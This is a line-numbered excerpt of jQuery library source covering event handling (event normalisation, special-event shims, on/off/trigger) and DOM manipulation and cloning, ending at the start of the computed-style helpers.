3002 fix: function(event) {
3003 if (event[jQuery.expando]) {
3004 return event
3005 }
3006 var i, prop, copy, type = event.type,
3007 originalEvent = event,
3008 fixHook = this.fixHooks[type];
3009 if (!fixHook) {
3010 this.fixHooks[type] = fixHook = rmouseEvent.test(type) ? this.mouseHooks : rkeyEvent.test(type) ? this.keyHooks : {}
3011 }
3012 copy = fixHook.props ? this.props.concat(fixHook.props) : this.props;
3013 event = new jQuery.Event(originalEvent);
3014 i = copy.length;
3015 while (i--) {
3016 prop = copy[i];
3017 event[prop] = originalEvent[prop]
3018 }
3019 if (!event.target) {
3020 event.target = originalEvent.srcElement || document
3021 }
3022 if (event.target.nodeType === 3) {
3023 event.target = event.target.parentNode
3024 }
3025 event.metaKey = !!event.metaKey;
3026 return fixHook.filter ? fixHook.filter(event, originalEvent) : event
3027 },
3028 props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
3029 fixHooks: {},
3030 keyHooks: {
3031 props: "char charCode key keyCode".split(" "),
3032 filter: function(event, original) {
3033 if (event.which == null) {
3034 event.which = original.charCode != null ? original.charCode : original.keyCode
3035 }
3036 return event
3037 }
3038 },
3039 mouseHooks: {
3040 props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
3041 filter: function(event, original) {
3042 var body, eventDoc, doc, button = original.button,
3043 fromElement = original.fromElement;
3044 if (event.pageX == null && original.clientX != null) {
3045 eventDoc = event.target.ownerDocument || document;
3046 doc = eventDoc.documentElement;
3047 body = eventDoc.body;
3048 event.pageX = original.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
3049 event.pageY = original.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0)
3050 }
3051 if (!event.relatedTarget && fromElement) {
3052 event.relatedTarget = fromElement === event.target ? original.toElement : fromElement
3053 }
3054 if (!event.which && button !== undefined) {
3055 event.which = (button & 1 ? 1 : (button & 2 ? 3 : (button & 4 ? 2 : 0)))
3056 }
3057 return event
3058 }
3059 },
3060 special: {
3061 load: {
3062 noBubble: true
3063 },
3064 focus: {
3065 trigger: function() {
3066 if (this !== safeActiveElement() && this.focus) {
3067 try {
3068 this.focus();
3069 return false
3070 } catch (e) {}
3071 }
3072 },
3073 delegateType: "focusin"
3074 },
3075 blur: {
3076 trigger: function() {
3077 if (this === safeActiveElement() && this.blur) {
3078 this.blur();
3079 return false
3080 }
3081 },
3082 delegateType: "focusout"
3083 },
3084 click: {
3085 trigger: function() {
3086 if (jQuery.nodeName(this, "input") && this.type === "checkbox" && this.click) {
3087 this.click();
3088 return false
3089 }
3090 },
3091 _default: function(event) {
3092 return jQuery.nodeName(event.target, "a")
3093 }
3094 },
3095 beforeunload: {
3096 postDispatch: function(event) {
3097 if (event.result !== undefined && event.originalEvent) {
3098 event.originalEvent.returnValue = event.result
3099 }
3100 }
3101 }
3102 },
3103 simulate: function(type, elem, event, bubble) {
3104 var e = jQuery.extend(new jQuery.Event(), event, {
3105 type: type,
3106 isSimulated: true,
3107 originalEvent: {}
3108 });
3109 if (bubble) {
3110 jQuery.event.trigger(e, null, elem)
3111 } else {
3112 jQuery.event.dispatch.call(elem, e)
3113 }
3114 if (e.isDefaultPrevented()) {
3115 event.preventDefault()
3116 }
3117 }
3118 };
3119 jQuery.removeEvent = document.removeEventListener ? function(elem, type, handle) {
3120 if (elem.removeEventListener) {
3121 elem.removeEventListener(type, handle, false)
3122 }
3123 } : function(elem, type, handle) {
3124 var name = "on" + type;
3125 if (elem.detachEvent) {
3126 if (typeof elem[name] === strundefined) {
3127 elem[name] = null
3128 }
3129 elem.detachEvent(name, handle)
3130 }
3131 };
3132 jQuery.Event = function(src, props) {
3133 if (!(this instanceof jQuery.Event)) {
3134 return new jQuery.Event(src, props)
3135 }
3136 if (src && src.type) {
3137 this.originalEvent = src;
3138 this.type = src.type;
3139 this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && src.returnValue === false ? returnTrue : returnFalse
3140 } else {
3141 this.type = src
3142 }
3143 if (props) {
3144 jQuery.extend(this, props)
3145 }
3146 this.timeStamp = src && src.timeStamp || jQuery.now();
3147 this[jQuery.expando] = true
3148 };
3149 jQuery.Event.prototype = {
3150 isDefaultPrevented: returnFalse,
3151 isPropagationStopped: returnFalse,
3152 isImmediatePropagationStopped: returnFalse,
3153 preventDefault: function() {
3154 var e = this.originalEvent;
3155 this.isDefaultPrevented = returnTrue;
3156 if (!e) {
3157 return
3158 }
3159 if (e.preventDefault) {
3160 e.preventDefault()
3161 } else {
3162 e.returnValue = false
3163 }
3164 },
3165 stopPropagation: function() {
3166 var e = this.originalEvent;
3167 this.isPropagationStopped = returnTrue;
3168 if (!e) {
3169 return
3170 }
3171 if (e.stopPropagation) {
3172 e.stopPropagation()
3173 }
3174 e.cancelBubble = true
3175 },
3176 stopImmediatePropagation: function() {
3177 var e = this.originalEvent;
3178 this.isImmediatePropagationStopped = returnTrue;
3179 if (e && e.stopImmediatePropagation) {
3180 e.stopImmediatePropagation()
3181 }
3182 this.stopPropagation()
3183 }
3184 };
3185 jQuery.each({
3186 mouseenter: "mouseover",
3187 mouseleave: "mouseout",
3188 pointerenter: "pointerover",
3189 pointerleave: "pointerout"
3190 }, function(orig, fix) {
3191 jQuery.event.special[orig] = {
3192 delegateType: fix,
3193 bindType: fix,
3194 handle: function(event) {
3195 var ret, target = this,
3196 related = event.relatedTarget,
3197 handleObj = event.handleObj;
3198 if (!related || (related !== target && !jQuery.contains(target, related))) {
3199 event.type = handleObj.origType;
3200 ret = handleObj.handler.apply(this, arguments);
3201 event.type = fix
3202 }
3203 return ret
3204 }
3205 }
3206 });
3207 if (!support.submitBubbles) {
3208 jQuery.event.special.submit = {
3209 setup: function() {
3210 if (jQuery.nodeName(this, "form")) {
3211 return false
3212 }
3213 jQuery.event.add(this, "click._submit keypress._submit", function(e) {
3214 var elem = e.target,
3215 form = jQuery.nodeName(elem, "input") || jQuery.nodeName(elem, "button") ? elem.form : undefined;
3216 if (form && !jQuery._data(form, "submitBubbles")) {
3217 jQuery.event.add(form, "submit._submit", function(event) {
3218 event._submit_bubble = true
3219 });
3220 jQuery._data(form, "submitBubbles", true)
3221 }
3222 })
3223 },
3224 postDispatch: function(event) {
3225 if (event._submit_bubble) {
3226 delete event._submit_bubble;
3227 if (this.parentNode && !event.isTrigger) {
3228 jQuery.event.simulate("submit", this.parentNode, event, true)
3229 }
3230 }
3231 },
3232 teardown: function() {
3233 if (jQuery.nodeName(this, "form")) {
3234 return false
3235 }
3236 jQuery.event.remove(this, "._submit")
3237 }
3238 }
3239 }
3240 if (!support.changeBubbles) {
3241 jQuery.event.special.change = {
3242 setup: function() {
3243 if (rformElems.test(this.nodeName)) {
3244 if (this.type === "checkbox" || this.type === "radio") {
3245 jQuery.event.add(this, "propertychange._change", function(event) {
3246 if (event.originalEvent.propertyName === "checked") {
3247 this._just_changed = true
3248 }
3249 });
3250 jQuery.event.add(this, "click._change", function(event) {
3251 if (this._just_changed && !event.isTrigger) {
3252 this._just_changed = false
3253 }
3254 jQuery.event.simulate("change", this, event, true)
3255 })
3256 }
3257 return false
3258 }
3259 jQuery.event.add(this, "beforeactivate._change", function(e) {
3260 var elem = e.target;
3261 if (rformElems.test(elem.nodeName) && !jQuery._data(elem, "changeBubbles")) {
3262 jQuery.event.add(elem, "change._change", function(event) {
3263 if (this.parentNode && !event.isSimulated && !event.isTrigger) {
3264 jQuery.event.simulate("change", this.parentNode, event, true)
3265 }
3266 });
3267 jQuery._data(elem, "changeBubbles", true)
3268 }
3269 })
3270 },
3271 handle: function(event) {
3272 var elem = event.target;
3273 if (this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox")) {
3274 return event.handleObj.handler.apply(this, arguments)
3275 }
3276 },
3277 teardown: function() {
3278 jQuery.event.remove(this, "._change");
3279 return !rformElems.test(this.nodeName)
3280 }
3281 }
3282 }
3283 if (!support.focusinBubbles) {
3284 jQuery.each({
3285 focus: "focusin",
3286 blur: "focusout"
3287 }, function(orig, fix) {
3288 var handler = function(event) {
3289 jQuery.event.simulate(fix, event.target, jQuery.event.fix(event), true)
3290 };
3291 jQuery.event.special[fix] = {
3292 setup: function() {
3293 var doc = this.ownerDocument || this,
3294 attaches = jQuery._data(doc, fix);
3295 if (!attaches) {
3296 doc.addEventListener(orig, handler, true)
3297 }
3298 jQuery._data(doc, fix, (attaches || 0) + 1)
3299 },
3300 teardown: function() {
3301 var doc = this.ownerDocument || this,
3302 attaches = jQuery._data(doc, fix) - 1;
3303 if (!attaches) {
3304 doc.removeEventListener(orig, handler, true);
3305 jQuery._removeData(doc, fix)
3306 } else {
3307 jQuery._data(doc, fix, attaches)
3308 }
3309 }
3310 }
3311 })
3312 }
3313 jQuery.fn.extend({
3314 on: function(types, selector, data, fn, one) {
3315 var type, origFn;
3316 if (typeof types === "object") {
3317 if (typeof selector !== "string") {
3318 data = data || selector;
3319 selector = undefined
3320 }
3321 for (type in types) {
3322 this.on(type, selector, data, types[type], one)
3323 }
3324 return this
3325 }
3326 if (data == null && fn == null) {
3327 fn = selector;
3328 data = selector = undefined
3329 } else if (fn == null) {
3330 if (typeof selector === "string") {
3331 fn = data;
3332 data = undefined
3333 } else {
3334 fn = data;
3335 data = selector;
3336 selector = undefined
3337 }
3338 }
3339 if (fn === false) {
3340 fn = returnFalse
3341 } else if (!fn) {
3342 return this
3343 }
3344 if (one === 1) {
3345 origFn = fn;
3346 fn = function(event) {
3347 jQuery().off(event);
3348 return origFn.apply(this, arguments)
3349 };
3350 fn.guid = origFn.guid || (origFn.guid = jQuery.guid++)
3351 }
3352 return this.each(function() {
3353 jQuery.event.add(this, types, fn, data, selector)
3354 })
3355 },
3356 one: function(types, selector, data, fn) {
3357 return this.on(types, selector, data, fn, 1)
3358 },
3359 off: function(types, selector, fn) {
3360 var handleObj, type;
3361 if (types && types.preventDefault && types.handleObj) {
3362 handleObj = types.handleObj;
3363 jQuery(types.delegateTarget).off(handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler);
3364 return this
3365 }
3366 if (typeof types === "object") {
3367 for (type in types) {
3368 this.off(type, selector, types[type])
3369 }
3370 return this
3371 }
3372 if (selector === false || typeof selector === "function") {
3373 fn = selector;
3374 selector = undefined
3375 }
3376 if (fn === false) {
3377 fn = returnFalse
3378 }
3379 return this.each(function() {
3380 jQuery.event.remove(this, types, fn, selector)
3381 })
3382 },
3383 trigger: function(type, data) {
3384 return this.each(function() {
3385 jQuery.event.trigger(type, data, this)
3386 })
3387 },
3388 triggerHandler: function(type, data) {
3389 var elem = this[0];
3390 if (elem) {
3391 return jQuery.event.trigger(type, data, elem, true)
3392 }
3393 }
3394 });
3395
3396 function createSafeFragment(document) {
3397 var list = nodeNames.split("|"),
3398 safeFrag = document.createDocumentFragment();
3399 if (safeFrag.createElement) {
3400 while (list.length) {
3401 safeFrag.createElement(list.pop())
3402 }
3403 }
3404 return safeFrag
3405 }
3406 var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" + "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
3407 rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g,
3408 rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"),
3409 rleadingWhitespace = /^\s+/,
3410 rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
3411 rtagName = /<([\w:]+)/,
3412 rtbody = /<tbody/i,
3413 rhtml = /<|&#?\w+;/,
3414 rnoInnerhtml = /<(?:script|style|link)/i,
3415 rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
3416 rscriptType = /^$|\/(?:java|ecma)script/i,
3417 rscriptTypeMasked = /^true\/(.*)/,
3418 rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
3419 wrapMap = {
3420 option: [1, "<select multiple='multiple'>", "</select>"],
3421 legend: [1, "<fieldset>", "</fieldset>"],
3422 area: [1, "<map>", "</map>"],
3423 param: [1, "<object>", "</object>"],
3424 thead: [1, "<table>", "</table>"],
3425 tr: [2, "<table><tbody>", "</tbody></table>"],
3426 col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
3427 td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
3428 _default: support.htmlSerialize ? [0, "", ""] : [1, "X<div>", "</div>"]
3429 },
3430 safeFragment = createSafeFragment(document),
3431 fragmentDiv = safeFragment.appendChild(document.createElement("div"));
3432 wrapMap.optgroup = wrapMap.option;
3433 wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
3434 wrapMap.th = wrapMap.td;
3435
3436 function getAll(context, tag) {
3437 var elems, elem, i = 0,
3438 found = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName(tag || "*") : typeof context.querySelectorAll !== strundefined ? context.querySelectorAll(tag || "*") : undefined;
3439 if (!found) {
3440 for (found = [], elems = context.childNodes || context;
3441 (elem = elems[i]) != null; i++) {
3442 if (!tag || jQuery.nodeName(elem, tag)) {
3443 found.push(elem)
3444 } else {
3445 jQuery.merge(found, getAll(elem, tag))
3446 }
3447 }
3448 }
3449 return tag === undefined || tag && jQuery.nodeName(context, tag) ? jQuery.merge([context], found) : found
3450 }
3451
3452 function fixDefaultChecked(elem) {
3453 if (rcheckableType.test(elem.type)) {
3454 elem.defaultChecked = elem.checked
3455 }
3456 }
3457
3458 function manipulationTarget(elem, content) {
3459 return jQuery.nodeName(elem, "table") && jQuery.nodeName(content.nodeType !== 11 ? content : content.firstChild, "tr") ? elem.getElementsByTagName("tbody")[0] || elem.appendChild(elem.ownerDocument.createElement("tbody")) : elem
3460 }
3461
3462 function disableScript(elem) {
3463 elem.type = (jQuery.find.attr(elem, "type") !== null) + "/" + elem.type;
3464 return elem
3465 }
3466
3467 function restoreScript(elem) {
3468 var match = rscriptTypeMasked.exec(elem.type);
3469 if (match) {
3470 elem.type = match[1]
3471 } else {
3472 elem.removeAttribute("type")
3473 }
3474 return elem
3475 }
3476
3477 function setGlobalEval(elems, refElements) {
3478 var elem, i = 0;
3479 for (;
3480 (elem = elems[i]) != null; i++) {
3481 jQuery._data(elem, "globalEval", !refElements || jQuery._data(refElements[i], "globalEval"))
3482 }
3483 }
3484
3485 function cloneCopyEvent(src, dest) {
3486 if (dest.nodeType !== 1 || !jQuery.hasData(src)) {
3487 return
3488 }
3489 var type, i, l, oldData = jQuery._data(src),
3490 curData = jQuery._data(dest, oldData),
3491 events = oldData.events;
3492 if (events) {
3493 delete curData.handle;
3494 curData.events = {};
3495 for (type in events) {
3496 for (i = 0, l = events[type].length; i < l; i++) {
3497 jQuery.event.add(dest, type, events[type][i])
3498 }
3499 }
3500 }
3501 if (curData.data) {
3502 curData.data = jQuery.extend({}, curData.data)
3503 }
3504 }
3505
3506 function fixCloneNodeIssues(src, dest) {
3507 var nodeName, e, data;
3508 if (dest.nodeType !== 1) {
3509 return
3510 }
3511 nodeName = dest.nodeName.toLowerCase();
3512 if (!support.noCloneEvent && dest[jQuery.expando]) {
3513 data = jQuery._data(dest);
3514 for (e in data.events) {
3515 jQuery.removeEvent(dest, e, data.handle)
3516 }
3517 dest.removeAttribute(jQuery.expando)
3518 }
3519 if (nodeName === "script" && dest.text !== src.text) {
3520 disableScript(dest).text = src.text;
3521 restoreScript(dest)
3522 } else if (nodeName === "object") {
3523 if (dest.parentNode) {
3524 dest.outerHTML = src.outerHTML
3525 }
3526 if (support.html5Clone && (src.innerHTML && !jQuery.trim(dest.innerHTML))) {
3527 dest.innerHTML = src.innerHTML
3528 }
3529 } else if (nodeName === "input" && rcheckableType.test(src.type)) {
3530 dest.defaultChecked = dest.checked = src.checked;
3531 if (dest.value !== src.value) {
3532 dest.value = src.value
3533 }
3534 } else if (nodeName === "option") {
3535 dest.defaultSelected = dest.selected = src.defaultSelected
3536 } else if (nodeName === "input" || nodeName === "textarea") {
3537 dest.defaultValue = src.defaultValue
3538 }
3539 }
3540 jQuery.extend({
3541 clone: function(elem, dataAndEvents, deepDataAndEvents) {
3542 var destElements, node, clone, i, srcElements, inPage = jQuery.contains(elem.ownerDocument, elem);
3543 if (support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test("<" + elem.nodeName + ">")) {
3544 clone = elem.cloneNode(true)
3545 } else {
3546 fragmentDiv.innerHTML = elem.outerHTML;
3547 fragmentDiv.removeChild(clone = fragmentDiv.firstChild)
3548 }
3549 if ((!support.noCloneEvent || !support.noCloneChecked) && (elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem)) {
3550 destElements = getAll(clone);
3551 srcElements = getAll(elem);
3552 for (i = 0;
3553 (node = srcElements[i]) != null; ++i) {
3554 if (destElements[i]) {
3555 fixCloneNodeIssues(node, destElements[i])
3556 }
3557 }
3558 }
3559 if (dataAndEvents) {
3560 if (deepDataAndEvents) {
3561 srcElements = srcElements || getAll(elem);
3562 destElements = destElements || getAll(clone);
3563 for (i = 0;
3564 (node = srcElements[i]) != null; i++) {
3565 cloneCopyEvent(node, destElements[i])
3566 }
3567 } else {
3568 cloneCopyEvent(elem, clone)
3569 }
3570 }
3571 destElements = getAll(clone, "script");
3572 if (destElements.length > 0) {
3573 setGlobalEval(destElements, !inPage && getAll(elem, "script"))
3574 }
3575 destElements = srcElements = node = null;
3576 return clone
3577 },
3578 buildFragment: function(elems, context, scripts, selection) {
3579 var j, elem, contains, tmp, tag, tbody, wrap, l = elems.length,
3580 safe = createSafeFragment(context),
3581 nodes = [],
3582 i = 0;
3583 for (; i < l; i++) {
3584 elem = elems[i];
3585 if (elem || elem === 0) {
3586 if (jQuery.type(elem) === "object") {
3587 jQuery.merge(nodes, elem.nodeType ? [elem] : elem)
3588 } else if (!rhtml.test(elem)) {
3589 nodes.push(context.createTextNode(elem))
3590 } else {
3591 tmp = tmp || safe.appendChild(context.createElement("div"));
3592 tag = (rtagName.exec(elem) || ["", ""])[1].toLowerCase();
3593 wrap = wrapMap[tag] || wrapMap._default;
3594 tmp.innerHTML = wrap[1] + elem.replace(rxhtmlTag, "<$1></$2>") + wrap[2];
3595 j = wrap[0];
3596 while (j--) {
3597 tmp = tmp.lastChild
3598 }
3599 if (!support.leadingWhitespace && rleadingWhitespace.test(elem)) {
3600 nodes.push(context.createTextNode(rleadingWhitespace.exec(elem)[0]))
3601 }
3602 if (!support.tbody) {
3603 elem = tag === "table" && !rtbody.test(elem) ? tmp.firstChild : wrap[1] === "<table>" && !rtbody.test(elem) ? tmp : 0;
3604 j = elem && elem.childNodes.length;
3605 while (j--) {
3606 if (jQuery.nodeName((tbody = elem.childNodes[j]), "tbody") && !tbody.childNodes.length) {
3607 elem.removeChild(tbody)
3608 }
3609 }
3610 }
3611 jQuery.merge(nodes, tmp.childNodes);
3612 tmp.textContent = "";
3613 while (tmp.firstChild) {
3614 tmp.removeChild(tmp.firstChild)
3615 }
3616 tmp = safe.lastChild
3617 }
3618 }
3619 }
3620 if (tmp) {
3621 safe.removeChild(tmp)
3622 }
3623 if (!support.appendChecked) {
3624 jQuery.grep(getAll(nodes, "input"), fixDefaultChecked)
3625 }
3626 i = 0;
3627 while ((elem = nodes[i++])) {
3628 if (selection && jQuery.inArray(elem, selection) !== -1) {
3629 continue
3630 }
3631 contains = jQuery.contains(elem.ownerDocument, elem);
3632 tmp = getAll(safe.appendChild(elem), "script");
3633 if (contains) {
3634 setGlobalEval(tmp)
3635 }
3636 if (scripts) {
3637 j = 0;
3638 while ((elem = tmp[j++])) {
3639 if (rscriptType.test(elem.type || "")) {
3640 scripts.push(elem)
3641 }
3642 }
3643 }
3644 }
3645 tmp = null;
3646 return safe
3647 },
3648 cleanData: function(elems, acceptData) {
3649 var elem, type, id, data, i = 0,
3650 internalKey = jQuery.expando,
3651 cache = jQuery.cache,
3652 deleteExpando = support.deleteExpando,
3653 special = jQuery.event.special;
3654 for (;
3655 (elem = elems[i]) != null; i++) {
3656 if (acceptData || jQuery.acceptData(elem)) {
3657 id = elem[internalKey];
3658 data = id && cache[id];
3659 if (data) {
3660 if (data.events) {
3661 for (type in data.events) {
3662 if (special[type]) {
3663 jQuery.event.remove(elem, type)
3664 } else {
3665 jQuery.removeEvent(elem, type, data.handle)
3666 }
3667 }
3668 }
3669 if (cache[id]) {
3670 delete cache[id];
3671 if (deleteExpando) {
3672 delete elem[internalKey]
3673 } else if (typeof elem.removeAttribute !== strundefined) {
3674 elem.removeAttribute(internalKey)
3675 } else {
3676 elem[internalKey] = null
3677 }
3678 deletedIds.push(id)
3679 }
3680 }
3681 }
3682 }
3683 }
3684 });
3685 jQuery.fn.extend({
3686 text: function(value) {
3687 return access(this, function(value) {
3688 return value === undefined ? jQuery.text(this) : this.empty().append((this[0] && this[0].ownerDocument || document).createTextNode(value))
3689 }, null, value, arguments.length)
3690 },
3691 append: function() {
3692 return this.domManip(arguments, function(elem) {
3693 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3694 var target = manipulationTarget(this, elem);
3695 target.appendChild(elem)
3696 }
3697 })
3698 },
3699 prepend: function() {
3700 return this.domManip(arguments, function(elem) {
3701 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3702 var target = manipulationTarget(this, elem);
3703 target.insertBefore(elem, target.firstChild)
3704 }
3705 })
3706 },
3707 before: function() {
3708 return this.domManip(arguments, function(elem) {
3709 if (this.parentNode) {
3710 this.parentNode.insertBefore(elem, this)
3711 }
3712 })
3713 },
3714 after: function() {
3715 return this.domManip(arguments, function(elem) {
3716 if (this.parentNode) {
3717 this.parentNode.insertBefore(elem, this.nextSibling)
3718 }
3719 })
3720 },
3721 remove: function(selector, keepData) {
3722 var elem, elems = selector ? jQuery.filter(selector, this) : this,
3723 i = 0;
3724 for (;
3725 (elem = elems[i]) != null; i++) {
3726 if (!keepData && elem.nodeType === 1) {
3727 jQuery.cleanData(getAll(elem))
3728 }
3729 if (elem.parentNode) {
3730 if (keepData && jQuery.contains(elem.ownerDocument, elem)) {
3731 setGlobalEval(getAll(elem, "script"))
3732 }
3733 elem.parentNode.removeChild(elem)
3734 }
3735 }
3736 return this
3737 },
3738 empty: function() {
3739 var elem, i = 0;
3740 for (;
3741 (elem = this[i]) != null; i++) {
3742 if (elem.nodeType === 1) {
3743 jQuery.cleanData(getAll(elem, false))
3744 }
3745 while (elem.firstChild) {
3746 elem.removeChild(elem.firstChild)
3747 }
3748 if (elem.options && jQuery.nodeName(elem, "select")) {
3749 elem.options.length = 0
3750 }
3751 }
3752 return this
3753 },
3754 clone: function(dataAndEvents, deepDataAndEvents) {
3755 dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
3756 deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
3757 return this.map(function() {
3758 return jQuery.clone(this, dataAndEvents, deepDataAndEvents)
3759 })
3760 },
3761 html: function(value) {
3762 return access(this, function(value) {
3763 var elem = this[0] || {},
3764 i = 0,
3765 l = this.length;
3766 if (value === undefined) {
3767 return elem.nodeType === 1 ? elem.innerHTML.replace(rinlinejQuery, "") : undefined
3768 }
3769 if (typeof value === "string" && !rnoInnerhtml.test(value) && (support.htmlSerialize || !rnoshimcache.test(value)) && (support.leadingWhitespace || !rleadingWhitespace.test(value)) && !wrapMap[(rtagName.exec(value) || ["", ""])[1].toLowerCase()]) {
3770 value = value.replace(rxhtmlTag, "<$1></$2>");
3771 try {
3772 for (; i < l; i++) {
3773 elem = this[i] || {};
3774 if (elem.nodeType === 1) {
3775 jQuery.cleanData(getAll(elem, false));
3776 elem.innerHTML = value
3777 }
3778 }
3779 elem = 0
3780 } catch (e) {}
3781 }
3782 if (elem) {
3783 this.empty().append(value)
3784 }
3785 }, null, value, arguments.length)
3786 },
3787 replaceWith: function() {
3788 var arg = arguments[0];
3789 this.domManip(arguments, function(elem) {
3790 arg = this.parentNode;
3791 jQuery.cleanData(getAll(this));
3792 if (arg) {
3793 arg.replaceChild(elem, this)
3794 }
3795 });
3796 return arg && (arg.length || arg.nodeType) ? this : this.remove()
3797 },
3798 detach: function(selector) {
3799 return this.remove(selector, true)
3800 },
3801 domManip: function(args, callback) {
3802 args = concat.apply([], args);
3803 var first, node, hasScripts, scripts, doc, fragment, i = 0,
3804 l = this.length,
3805 set = this,
3806 iNoClone = l - 1,
3807 value = args[0],
3808 isFunction = jQuery.isFunction(value);
3809 if (isFunction || (l > 1 && typeof value === "string" && !support.checkClone && rchecked.test(value))) {
3810 return this.each(function(index) {
3811 var self = set.eq(index);
3812 if (isFunction) {
3813 args[0] = value.call(this, index, self.html())
3814 }
3815 self.domManip(args, callback)
3816 })
3817 }
3818 if (l) {
3819 fragment = jQuery.buildFragment(args, this[0].ownerDocument, false, this);
3820 first = fragment.firstChild;
3821 if (fragment.childNodes.length === 1) {
3822 fragment = first
3823 }
3824 if (first) {
3825 scripts = jQuery.map(getAll(fragment, "script"), disableScript);
3826 hasScripts = scripts.length;
3827 for (; i < l; i++) {
3828 node = fragment;
3829 if (i !== iNoClone) {
3830 node = jQuery.clone(node, true, true);
3831 if (hasScripts) {
3832 jQuery.merge(scripts, getAll(node, "script"))
3833 }
3834 }
3835 callback.call(this[i], node, i)
3836 }
3837 if (hasScripts) {
3838 doc = scripts[scripts.length - 1].ownerDocument;
3839 jQuery.map(scripts, restoreScript);
3840 for (i = 0; i < hasScripts; i++) {
3841 node = scripts[i];
3842 if (rscriptType.test(node.type || "") && !jQuery._data(node, "globalEval") && jQuery.contains(doc, node)) {
3843 if (node.src) {
3844 if (jQuery._evalUrl) {
3845 jQuery._evalUrl(node.src)
3846 }
3847 } else {
3848 jQuery.globalEval((node.text || node.textContent || node.innerHTML || "").replace(rcleanScript, ""))
3849 }
3850 }
3851 }
3852 }
3853 fragment = first = null
3854 }
3855 }
3856 return this
3857 }
3858 });
3859 jQuery.each({
3860 appendTo: "append",
3861 prependTo: "prepend",
3862 insertBefore: "before",
3863 insertAfter: "after",
3864 replaceAll: "replaceWith"
3865 }, function(name, original) {
3866 jQuery.fn[name] = function(selector) {
3867 var elems, i = 0,
3868 ret = [],
3869 insert = jQuery(selector),
3870 last = insert.length - 1;
3871 for (; i <= last; i++) {
3872 elems = i === last ? this : this.clone(true);
3873 jQuery(insert[i])[original](elems);
3874 push.apply(ret, elems.get())
3875 }
3876 return this.pushStack(ret)
3877 }
3878 });
3879 var iframe, elemdisplay = {};
3880
3881 function actualDisplay(name, doc) {
3882 var style, elem = jQuery(doc.createElement(name)).appendTo(doc.body),
3883 display = window.getDefaultComputedStyle && (style = window.getDefaultComputedStyle(elem[0])) ? style.display : jQuery.css(elem[0], "display");
3884 elem.detach();
3885 return display
3886 }
3887
3888 function defaultDisplay(nodeName) {
3889 var doc = document,
3890 display = elemdisplay[nodeName];
3891 if (!display) {
3892 display = actualDisplay(nodeName, doc);
3893 if (display === "none" || !display) {
3894 iframe = (iframe || jQuery("<iframe frameborder='0' width='0' height='0'/>")).appendTo(doc.documentElement);
3895 doc = (iframe[0].contentWindow || iframe[0].contentDocument).document;
3896 doc.write();
3897 doc.close();
3898 display = actualDisplay(nodeName, doc);
3899 iframe.detach()
3900 }
3901 elemdisplay[nodeName] = display
3902 }
3903 return display
3904 }(function() {
3905 var shrinkWrapBlocksVal;
3906 support.shrinkWrapBlocks = function() {
3907 if (shrinkWrapBlocksVal != null) {
3908 return shrinkWrapBlocksVal
3909 }
3910 shrinkWrapBlocksVal = false;
3911 var div, body, container;
3912 body = document.getElementsByTagName("body")[0];
3913 if (!body || !body.style) {
3914 return
3915 }
3916 div = document.createElement("div");
3917 container = document.createElement("div");
3918 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
3919 body.appendChild(container).appendChild(div);
3920 if (typeof div.style.zoom !== strundefined) {
3921 div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;" + "padding:1px;width:1px;zoom:1";
3922 div.appendChild(document.createElement("div")).style.width = "5px";
3923 shrinkWrapBlocksVal = div.offsetWidth !== 3
3924 }
3925 body.removeChild(container);
3926 return shrinkWrapBlocksVal
3927 }
3928 })();
3929 var rmargin = (/^margin/);
3930 var rnumnonpx = new RegExp("^(" + pnum + ")(?!px)[a-z%]+$", "i");
3931 var getStyles, curCSS, rposition = /^(top|right|bottom|left)$/;
3932 if (window.getComputedStyle) {
3933 getStyles = function(elem) {
3934 if (elem.ownerDocument.defaultView.opener) {
3935 return elem.ownerDocument.defaultView.getComputedStyle(elem, null)
3936 }
3937 return window.getComputedStyle(elem, null)
3938 };
3939 curCSS = function(elem, name, computed) {
3940 var width, minWidth, maxWidth, ret, style = elem.style;
3941 computed = computed || getStyles(elem);
3942 ret = computed ? computed.getPropertyValue(name) || computed[name] : undefined;
3943 if (computed) {
3944 if (ret === "" && !jQuery.contains(elem.ownerDocument, elem)) {
3945 ret = jQuery.style(elem, name)
3946 }
3947 if (rnumnonpx.test(ret) && rmargin.test(name)) {
3948 width = style.width;
3949 minWidth = style.minWidth;
3950 maxWidth = style.maxWidth;
3951 style.minWidth = style.maxWidth = style.width = ret;
3952 ret = computed.width;
3953 style.width = width;
3954 style.minWidth = minWidth;
3955 style.maxWidth = maxWidth
3956 }
3957 }
3958 return ret === undefined ? ret : ret + ""
3959 }
3960 } else if (document.documentElement.currentStyle) {
3961 getStyles = function(elem) {
3962 return elem.currentStyle
3963 };
